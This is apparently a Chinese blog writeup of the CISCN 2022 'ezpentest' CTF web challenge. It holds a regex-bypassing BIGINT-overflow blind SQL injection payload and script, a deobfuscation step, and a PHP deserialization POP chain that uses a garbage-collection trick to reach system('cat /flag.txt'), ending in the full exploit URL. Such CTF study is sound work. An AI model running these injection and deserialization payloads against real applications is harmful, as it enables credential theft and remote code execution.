ciscn 2022 ezpentest writeup [sql BIGINT盲注绕正则+解phpjiami混淆+反序列化POP链构造]

介绍

最近在ichunqiu CTF大本营刷题的时候碰到一道高质量的web题,比赛中还算是web里难度比较大的。网上已经有很多公开的writeup,但是为了加深理解记忆,故记录一篇blog。

  • 复现链接: 第十五届全国大学生信息安全竞赛——创新实践能力赛 Ezpentest

sql盲注绕正则

waf:

1
2
3
4
5
6
7
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}
?>

构造payload:

1
"xxx'||case'1'when`username`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx"
  • 因为过滤了空格和其他空白字符,有因为case和then之间必须有空格,所以使用’1’。而且分号内的字符必须为数字且不为0,这样case when才能正常发挥作用

  • 利用like去正则匹配username这一列的数据,如果匹配到就返回9223372036854775807+1 这个表达式,而这个表示执行后会导致数据溢出,服务器会报500,否则就返回’1’,服务器会报error

  • +’’是因为过滤了空白符号,所以用来连接起sql语句的,这里的数据溢出同样可以用18446744073709551615+1,这个18446744073709551615的值其实就是0,也就是说这个payload其实就是0+1

  • 参考MySQL 的 BIGINT 报错注入

  • utf8mb4_0900_bin是用来区分大小写的,因为like正则匹配是不区分大小写的

  • case用来解决优先级问题

  • 盲注脚本 (python2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

burp0_url = "http://eci-2ze2replbpornl6bilrn.cloudeci1.ichunqiu.com/login.php"
burp0_cookies = {"PHPSESSID": "gmqmv74c2fq6s65mqi8kk4q02h"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://eci-2ze2replbpornl6bilrn.cloudeci1.ichunqiu.com/", "Connection": "close", "Referer": "http://eci-2ze2replbpornl6bilrn.cloudeci1.ichunqiu.com/", "Upgrade-Insecure-Requests": "1"}

flag = ''
black_list = ",()#;*~\-'"

while True:
for j in range(33, 128):
if chr(j) in black_list:
continue

if j == 95 or j == 37:
y = '\\' + chr(j)
else:
y = chr(j)
burp0_data = {
"username": "xxx'||case'1'when`username`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx".format(
flag + y),
"password": "aaa"}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print chr(j) + " : " + str(res.status_code)
if res.status_code == 500:
if j == 95 or j == 37:
flag += '\\' + chr(j)
else:
flag += chr(j)
print flag
break
if j == 127:
print flag.replace("\\", '')
exit(0)

跑密码时,把脚本里的username改成password即可

1
2
3
4
burp0_data = {
"username": "xxx'||case'1'when`password`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx".format(
flag + y),
"password": "aaa"}
  • 得到账号密码

1
2
账号:nssctfwabbybaboo!@$%!!
密码:PAssw40d_Y0u3_Never_Konwn!@!!

成功登录

解phpjiami混淆

登陆后发现混淆代码,提示有一个1Nd3x_Y0u_N3v3R_Kn0W.php,直接访问这个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}

?>

主页面本身是一段混淆之后的代码,查看源码发现是由phpjiami混淆

使用python3的pwntools+gzip库将页面保存为pop.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import gzip
from pwn import *
import time

p = remote("eci-2zedg0a5ogrt1nxd4li0.cloudeci1.ichunqiu.com", 80)
msg = """POST /login.php HTTP/1.1
Host: eci-2zedg0a5ogrt1nxd4li0.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://eci-2zedg0a5ogrt1nxd4li0.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zedg0a5ogrt1nxd4li0.cloudeci1.ichunqiu.com/
Cookie: PHPSESSID=ur039pnm15u784vdnh6gdg13er
Upgrade-Insecure-Requests: 1

username=awk785969awlfjnlkjlii%21%40%24%25%21%21&password=PAssw40d_Y0u3_Never_Konwn%21%40%21%21"""
p.send(msg.encode())
time.sleep(1)
byte = p.recv()
start = byte.find(b"\r\n\r\n") + 4
byte = byte[start:]
with open("pop.php", "wb") as f:
f.write(gzip.decompress(byte))
f.close()

然后使用以下解密脚本

  • phpjiami网站解密脚本
1
2
root@fdvoid0:/mnt/d/1.online-ctfs/ichunqiu/15th/Ezpentest/phpjiami_decode-master# php phpjiami.php
./encode/pop.php<br>

解密后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}

if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}

spl_autoload_register的作用就是把后面反序列化不存在的类所在的文件加载进来,具体的原理可以参考这个文章:

  • 关于PHP中spl_autoload_register()函数用法详解

当不带传参数a访问1Nd3x_Y0u_N3v3R_Kn0W.php这个文件就能拿到了SomeClass.php的文件内容

反序列化POP链构造(php GC回收机制)

POP链也很简单,die里面是字符串处理的,让a为对象会触发__toString方法

1
2
3
4
5
E::__destruct()
↓↓↓
B::__toString()
↓↓↓
A::see()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}

利用这个类的__toString方法

1
2
3
4
5
6
7
8
9
10
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}

然后到see()这个类,这里只需要让b为原生类,a参数和b参数都是可控的就可以rce了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}

链子的触发点就是刚刚那个1Nd3x_Y0u_N3v3R_Kn0W.php文件,但是这里如果我们想把那个可以rce的文件包含进来的,就要创建的是一个SomeClass的类,但是这里是会进行过滤的。

1
2
3
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}

这样如果我们包含这个类,就会抛出错误从而终止程序,使__destruct()无法执行,这样我们的链子就没有用了。
所以我们要提前调用__destruct(),在包含SomeClass类的同时就进入__destruct(),使用gc回收机制来提前触发__destruct()

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。
垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了

  • 浅析GC回收机制与phar反序列化

把i本应该等于1修改为i = 0。就是把i = 0指向NULL了,从而实现了GC回收。

其实还有一种方法提前进入destrust的,就是利用fastdestrust,就传一个损坏的序列化数据就行了,比如O:6:”person”:3:{s:4:”name”;N;s:3:”age”;i:19;s:3:”sex”;N;,就是把后面 } 的符号去掉就行,但是这里有对序列化数据格式正确与否进行校验,所以这里采用的是gc回收机制

  • rce.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php

class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}

class SomeClass{
public $a;
}

$e = new E();
$a = new A();
$b = new B();

$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();//换其他原生类都行error啥的都可以
$arr->a = "system";
$arr->b = "cat /flag.txt";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));

生成rce chain

1
2
root@fdvoid0:/mnt/d/1.online-ctfs/ichunqiu/15th/Ezpentest# php rce.php
a%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SomeClass%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22E%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BC%3A11%3A%22ArrayObject%22%3A71%3A%7Bx%3Ai%3A0%3Ba%3A0%3A%7B%7D%3Bm%3Aa%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22b%22%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3BN%3B%7Ds%3A1%3A%22b%22%3BN%3B%7D%7Di%3A0%3Bi%3A0%3B%7D

访问以下url,获取flag:

1
http://eci-2zedg0a5ogrt1nxd4li0.cloudeci1.ichunqiu.com/1Nd3x_Y0u_N3v3R_Kn0W.php?a=a%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SomeClass%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22E%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BC%3A11%3A%22ArrayObject%22%3A71%3A%7Bx%3Ai%3A0%3Ba%3A0%3A%7B%7D%3Bm%3Aa%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22b%22%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3BN%3B%7Ds%3A1%3A%22b%22%3BN%3B%7D%7Di%3A0%3Bi%3A0%3B%7D

参考链接

  • [2022 CISCN]初赛 web题目复现 ezpentest
  • 2022 CISCN Web Ezpentest 详解
  • CISCN2022 Ezpentest Writeup
  • [CISCN 2022 初赛]ezpentest
  • 浅析GC回收机制与phar反序列化
  • CISCN(Web Ezpentest)GC、序列化、case when
  • CISCN 2022 初赛 web 复现 ezpentest
  • ciscn2022 Ezpentest